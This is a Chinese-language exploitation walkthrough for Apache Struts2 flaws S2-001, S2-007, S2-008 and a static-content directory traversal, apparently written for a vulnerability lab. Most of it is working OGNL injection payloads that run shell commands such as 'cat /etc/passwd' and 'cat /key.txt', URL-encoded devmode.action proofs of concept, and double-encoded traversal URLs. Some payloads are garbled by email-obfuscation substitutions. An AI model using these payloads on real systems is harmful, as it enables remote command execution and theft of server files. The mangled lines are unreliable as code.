因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
参考Medicean大佬的注解https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-001
使用与利用
访问 http://你的 IP 地址:端口号/
Exp
命令执行(命令加参数:new java.lang.String[]{“cat”,"/etc/passwd"})
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/key.txt"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
通过设计,Struts2调度器逻辑允许为Web应用程序的类路径中发现的某些静态资源提供具有以“/ struts /”开头的上下文相对路径的请求URI。
FilterDispatcher(2.0)和DefaultStaticContentLoader(在2.1中)具有安全漏洞,允许攻击者遍历目录结构,并使用双编码的URL和相对路径在“静态”内容文件夹之外下载文件,如:
http:// localhost:8080 / struts2-blank-2.0.11.1 / struts …
HTTP://本地主机:8080 / Struts2的空白-2.0.11.1 /支柱/…% 252F
http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%2f..%2f..%2fWEB-INF/classess/example/Login.class/
尽管并非所有容器都容易受到此影响,但Struts2调度程序逻辑必须阻止访问静态资源文件夹外的静态内容。
ip/struts/..%252f..%252f..%252f..%252f..%252f..%252f
ip/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp
参考
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-007
更改执行命令 cat /key.txt
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-008
参照大佬的教程(不要当工具小子脚本小子,知其然还要知其所以然)
poc:
/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29)
/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29)
修改poc为
/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27cat /key.txt%27%29.getInputStream%28%29%29)
done